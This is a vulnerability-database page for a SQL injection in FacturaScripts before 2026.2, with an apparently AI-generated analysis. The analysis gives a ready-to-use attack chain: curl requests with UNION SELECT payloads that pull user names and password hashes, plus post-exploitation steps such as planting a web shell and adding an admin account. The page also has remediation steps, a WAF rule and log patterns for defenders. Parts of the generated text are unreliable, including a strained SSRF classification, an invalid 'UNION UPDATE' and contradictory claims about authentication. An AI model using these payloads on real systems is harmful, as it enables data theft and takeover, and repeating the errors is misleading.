CVE Professor
/
All CVEs
CVE-2026-45262

CVE-2026-45262 — NeoRazorX Facturascripts (< 2026.2) — CWE-89 · CWE-918

CRITICAL CVSS 9.9 CVE.org

FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::sqlColumn() exempts any field name that contains both ( and ) from identifier escaping. The two API filter builders (APIModel::getWhereValues and ApiAttachedFiles::getWhereValues) feed the raw request key ($_GET['filter'][$key]) straight into new DataBaseWhere($key, $value, '=', ...). When the model's all() reaches Where::multiSqlLegacy -> Where::sql() -> Where::sqlColumn($key), the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into WHERE <attacker> = '<value>', which an attacker can pivot to WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value', leaking arbitrary columns from any table. This issue has been patched in version 2026.2.

FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::sqlColumn() exempts any field name that contains both ( and ) from identifier escaping. The two API filter builders (APIModel::getWhereValues and ApiAttachedFiles::getWhereValues) feed the raw request key ($_GET['filter'][$key]) straight into new DataBaseWhere($key, $value, '=', ...). When the model's all() reaches Where::multiSqlLegacy -> Where::sql() -> Where::sqlColumn($key), the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into WHERE <attacker> = '<value>', which an attacker can pivot to WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value', leaking arbitrary columns from any table. This issue has been patched in version 2026.2.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

CVE‑2026‑45262 – Unescaped‑Identifier SQL Injection in FacturaScripts < 2026.2


🎯 What is this vulnerability?

AttributeDetail
Vulnerability typeSQL injection (unescaped identifier) that can be combined with a UNION‑based data‑exfiltration payload.
Relevant CWE(s)CWE‑89 – Improper Neutralization of Special Elements used in an SQL Command (SQL Injection).<br>CWE‑918 – Server‑Side Request Forgery (relevant because the injection can be used to read arbitrary tables, effectively “requesting” data from the DB).
CVSS 3.1 vectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H – Network‑reachable, low attack complexity, requires only a low‑privilege account (or even unauthenticated if the API endpoint is public), no user interaction, and the impact is Scope‑Changing with High confidentiality, integrity, and availability impact.

| Root cause | The core helper Core/Where.php::sqlColumn() contains a whitelist bypass: any column identifier that contains both an opening “(” and a closing “)” is exempted from identifier escaping. The two API filter builders (APIModel::getWhereValues() and ApiAttachedFiles::getWhereValues()) forward the raw request key ($_GET['filter'][$key]) directly into a DataBaseWhere object. When the query builder later calls sqlColumn($key), the branch that detects parentheses returns the supplied string unchanged, allowing an attacker‑controlled fragment to be injected into the WHERE clause verbatim. Because the fragment is placed as the left‑hand side of an equality test, the attacker can close the original expression, inject a UNION SELECT … payload, and comment out the remainder, resulting in a classic UNION‑based SQL injection that can read any table in the database.

In short: missing identifier sanitisation → attacker‑controlled column name → arbitrary SQL execution.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid; the exact URI path is illustrative because the public CVE description does not disclose the precise endpoint name.

1. Discovery & Reconnaissance

StepActionReasoning
1.1Fingerprint the application – Scan the target host for the characteristic FacturaScripts HTML footer, /index.php?c=Home&action=about, or the presence of /api/ routes.FacturaScripts ships a public “API” endpoint (/api/v1/…) that is documented in its open‑source repo.
1.2Determine version – Request GET /api/v1/version (if exposed) or read the composer.json//install.php file via directory listing. The response contains a string like {"version":"2026.1.4"}.The vulnerability exists only in versions prior to 2026.2.
1.3Confirm API filter support – Issue a benign request such as GET /api/v1/invoices?filter[status]=paid. The response returns a JSON list of invoices, confirming that the filter[] parameter is parsed and passed to the Where builder.This proves the attack surface (the filter associative array) is reachable.

2. Exploitation

Goal: Retrieve the nick and password columns from the users table (or any other sensitive data).

2.1 Craft the malicious filter key

The vulnerable code treats the array key of filter[] as a column identifier. By embedding parentheses we bypass escaping:

filter[(0)UNION SELECT nick,password FROM users WHERE (1=1)]=anything

Explanation of the payload:

  • (0) – a harmless expression that evaluates to 0.
  • UNION SELECT nick,password FROM users WHERE (1=1) – the injection that pulls the desired rows.
  • The final =anything is required because the framework always builds WHERE <column> = '<value>'. The value part (anything) is irrelevant once the UNION is introduced; it will be ignored by the DB engine.
  • 2.2 Send the request

    # Illustrative endpoint – replace /api/v1/invoices with any model that uses the generic filter builder
    curl -s -G "https://target.example.com/api/v1/invoices" \
      --data-urlencode "filter[(0)UNION SELECT nick,password FROM users WHERE (1=1)]=foo" \
      -H "Accept: application/json"

    What happens internally

    1. $_GET['filter'] contains a key named (0)UNION SELECT nick,password FROM users WHERE (1=1).
    2. APIModel::getWhereValues() iterates over the array and creates new DataBaseWhere($key, $value, '=', …).
    3. The query builder reaches Where::sqlColumn($key). Because the key contains both ( and ), the identifier‑escaping branch is skipped and the raw string is returned.
    4. The final SQL fragment becomes:

    WHERE (0)UNION SELECT nick,password FROM users WHERE (1=1) = 'foo'

    The DB engine parses this as:

    WHERE (0)               -- always false, ignored
    UNION
    SELECT nick,password FROM users WHERE (1=1)   -- the injected SELECT

    The result set returned by the API call now contains the user table rows instead of invoice rows.

    2.3 Extracting additional data

    The attacker can repeat the request with different column lists (e.g., SELECT credit_card,expiry FROM payments) or use LIMIT/OFFSET to paginate large tables:

    curl -G "https://target.example.com/api/v1/invoices" \
      --data-urlencode "filter[(0)UNION SELECT id,email FROM users LIMIT 0,10]=x"

    3. Post‑Exploitation

    ImpactHow the attacker leverages it
    ConfidentialityDump of the entire users table (password hashes, API keys, email addresses). Also any other table can be read (financial records, invoices, tax data).
    IntegrityBy modifying the injected payload to UNION UPDATE … (if the DB user has write privileges) the attacker could alter data, e.g., change invoice amounts or user privileges.
    AvailabilityThe attacker can issue a UNION SELECT SLEEP(5) or a massive UNION SELECT * FROM large_table to cause DoS, or use the injection to execute DROP TABLE if the DB user is overly privileged.
    Privilege escalationIf the DB user used by FacturaScripts runs with root or admin privileges (common misconfiguration), the attacker could execute arbitrary SQL commands, potentially writing a web‑shell into the filesystem via SELECT ... INTO OUTFILE.
    PersistenceInsert a new admin user into the users table (INSERT INTO users (nick, password, role) VALUES ('attacker','<hash>','admin')).

    🌍 Real‑World Impact

    CIA TriadCVSS‑derived ratingPractical consequence
    ConfidentialityHigh (C:H)Full exposure of all stored data – financial records, personal data of clients, employee credentials, and possibly PCI‑DSS data.
    IntegrityHigh (I:H)Ability to tamper with invoices, tax filings, or user privileges, leading to fraud or regulatory violations.
    AvailabilityHigh (A:H)An attacker can render the application unusable (SQL‑based DoS) or corrupt the database, causing service outage.
    ScopeChanged (S:C)The injection occurs in the API layer but the impact spreads to the entire database, affecting components beyond the vulnerable endpoint.

    Business impact may include:

  • GDPR/CCPA violations (exfiltration of personal data).
  • Financial loss from invoice manipulation or fraud.
  • Reputational damage and loss of client trust.
  • Potential legal liability for non‑compliance with accounting standards.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to FacturaScripts 2026.2 or any later release. The patch removes the parentheses‑exemption and forces identifier escaping for *all* column names.
    Version rangeAll releases < 2026.2 (e.g., 2026.1.x, 2025.*) are vulnerable.
    VerificationAfter upgrade, confirm that Core/Where.php::sqlColumn() always calls $this->escapeIdentifier($column) regardless of content.

    2. Immediate Work‑arounds (if patch cannot be applied instantly)

    MitigationImplementation
    Input validationReject any filter keys that contain ( or ) characters. Example (PHP):<br><br>``php\nif (preg_match('/[()]/', $key)) { http_response_code(400); exit('Invalid filter key'); }\n`
    Prepared statements for identifiersAlthough most DB drivers cannot bind column names, you can maintain a whitelist of allowed columns per model and reject anything else.
    Web Application FirewallDeploy a ModSecurity rule that drops requests containing a filter[ parameter with a ( or ) in the key. Example rule (ModSecurity 3.x syntax):<br><br>`SecRule ARGS_NAMES "@rx ^filter\[[^\]]*\([^\]]*\)\]" "id:400001,phase:2,deny,log,msg:'SQLi – unescaped identifier in FacturaScripts filter'"``
    Restrict API exposureIf the API is not required for public use, bind it to an internal network, enforce authentication (e.g., OAuth2), and limit IP ranges.
    Least‑privilege DB userEnsure the DB account used by FacturaScripts has SELECT/INSERT/UPDATE only on the tables it truly needs, and no FILE or DROP privileges.

    3. Detection – Indicators of Compromise

    Log sourceTypical pattern
    Web server access logs (Apache/Nginx)Requests containing filter[ with a ( or ) in the key, e.g.:<br>GET /api/v1/invoices?filter[(0)UNION SELECT nick,password FROM users WHERE (1=1)]=foo HTTP/1.1
    Application logs (FacturScripts log/ directory)Errors like SQLSTATE[42000]: Syntax error or access violation: 1064 followed by the injected fragment.
    Database audit logs (MySQL general_log or audit_log)Queries that contain UNION SELECT where the left‑hand side of a WHERE clause is not a legitimate column name, e.g.:<br>SELECT * FROM invoices WHERE (0)UNION SELECT nick,password FROM users WHERE (1=1) = 'foo'
    IDS/IPS signaturesAlerts for UNION SELECT preceded by a WHERE ( pattern in HTTP GET parameters.
    File integrity monitoringUnexpected modifications to Core/Where.php (if an attacker attempts a local file change).

    Response: On detection, block the offending IP, rotate DB credentials, and perform a full data‑exfiltration audit.


    ⚠️ Urgency

  • CVSS 9.9 (Critical) – Network‑accessible, low complexity, no authentication required (or only a low‑privilege API key).
  • Scope‑changing – The impact spreads beyond the vulnerable endpoint to the entire database.
  • No CISA KEV listing yet, but the severity and ease of exploitation demand immediate action.
Recommended priority:
TimelineAction
0‑24 hBlock the vulnerable API endpoint at the perimeter (WAF rule) and enforce input validation.
24‑48 hDeploy the official 2026.2 patch to all production instances.
≤ 72 hVerify patch effectiveness, rotate all database credentials, and conduct a forensic review for data leakage.
≤ 1 weekHarden the DB user privileges and implement long‑term API authentication/authorization.

Given the high impact and low barrier to exploitation, organizations running FacturaScripts < 2026.2 should treat this as a critical emergency and prioritize remediation above most other change‑management activities.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
NeoRazorX:facturascripts (< 2026.2)
References & Advisories (2)
Related CVEs
3.5
CVE-2026-45710
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, WidgetVariante::r
9.8
CVE-2026-145040
WWBN AVideo before 29.9.0 contains a blind sql injection vulnerability that allows unauthenticated attackers t
9.6
CVE-2026-118743
Server-side request forgery in Microsoft Copilot allows an authorized attacker to elevate privileges over a ne
9.3
CVE-2026-136358
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomMedia extension 1.0.0-6.1.5 - The list
9.3
CVE-2026-136369
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomInvoice extension 1.0.0-6.5.2 - Inputs
9.3
CVE-2026-136376
Joomla Extension - joomboost.com - SQL injection in search time filters in JoomRecipe extension 1.0.0-6.9.8 -
9.3
CVE-2026-77432
activity_notification provides integrated user activity notifications for Ruby on Rails. Prior to version 2.7.